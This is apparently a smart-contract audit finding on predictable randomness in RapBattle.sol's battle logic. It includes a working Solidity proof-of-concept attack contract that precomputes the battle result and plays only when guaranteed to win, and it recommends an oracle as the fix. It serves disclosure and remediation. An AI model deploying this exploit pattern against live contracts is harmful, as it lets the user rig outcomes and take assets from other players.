The _battle function in RapBattle.sol uses the following code to aid in determining who wins the battle.
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
The random variable generated can easily be predicted. A user can use a smart contract to only call the goOnStageOrBattle() function in RapBattle.sol if they know that they are guaranteed to win. The 3 variables used to generate the "random" variable are all known at runtime. It is important to note that block.prevrandao does not generate a random number. Instead, it reads the RANDAO mix generated in the previous block.
Here is a crude implementation of a smart contract that could be used to predict the randomness. Note that we are assuming that the _credBet amount is 0. The point of this contract is just to showcase how the randomness can be gamed. Also in a production environment, this contract should be Ownable to prevent others from using your contract.
contract AttackContract is IERC721Receiver{
RapBattle rapBattle;
OneShot oneShot;
constructor(address _rapBattle, address _oneShot){
rapBattle = RapBattle(_rapBattle);
oneShot = OneShot(_oneShot);
}
//Mint a rapper for the smart contract
function mintRapper() external{
oneShot.mintRapper();
}
//Returns a boolean signifying if the contract battled or not
function BattleOnlyIfWin(uint256 tokenId) external returns(bool){
uint256 defenderTokenId = rapBattle.defenderTokenId();
uint256 defenderRapperSkill = rapBattle.getRapperSkill(defenderTokenId);
uint256 totalBattleSkill=defenderRapperSkill + rapBattle.getRapperSkill(tokenId);
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(this)))) % totalBattleSkill;
if(random <= defenderRapperSkill){
return false;
}else{
oneShot.approve(address(rapBattle), tokenId);
rapBattle.goOnStageOrBattle(tokenId, 0);
return true;
}
}
// Implementing IERC721Receiver so the contract can accept ERC721 tokens
function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}
A user can precalculate the result of the random variable and only choose to battle when they are guaranteed to win.
Foundry
Use an Oracle to provide randomness to the smart contract.
The contest is live. Earn rewards by submitting a finding.
This is your time to appeal against judgements on your submissions.
Appeals are being carefully reviewed by our judges.